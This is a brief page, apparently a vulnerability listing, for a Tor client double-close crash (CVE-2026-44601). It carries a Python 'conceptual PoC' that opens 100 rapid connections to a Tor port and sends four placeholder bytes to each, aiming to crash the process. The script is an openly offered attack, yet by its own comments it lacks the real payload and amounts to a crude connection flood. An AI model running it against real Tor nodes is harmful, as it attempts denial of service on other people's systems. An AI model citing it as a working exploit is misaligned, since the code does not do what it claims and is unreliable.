CVE-2026-44601 Tor客户端双重关闭导致崩溃漏洞

# Conceptual PoC for CVE-2026-44601 (Tor Double Close Crash) # This script attempts to simulate memory pressure conditions. # Note: Successful exploitation requires specific timing and internal state. import socket import time def simulate_circuit_pressure(target_host, target_port): """ Simulates creating connections to induce memory pressure. In a real scenario, specific cell manipulation triggers the double close. """ print(f"[*] Attempting to target {target_host}:{target_port}") # Simulate rapid connection attempts to fill circuit queue for i in range(100): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.5) s.connect((target_host, target_port)) # Sending dummy data that might resemble circuit creation hints # Actual payload requires deep knowledge of Tor protocol cells payload = b"\x00\x01\x02\x03" s.send(payload) s.close() except Exception as e: pass print("[+] Simulation finished. Check if Tor process has crashed.") if __name__ == "__main__": # Replace with actual Tor IP and Port (e.g., 127.0.0.1:9050) simulate_circuit_pressure("127.0.0.1", 9050)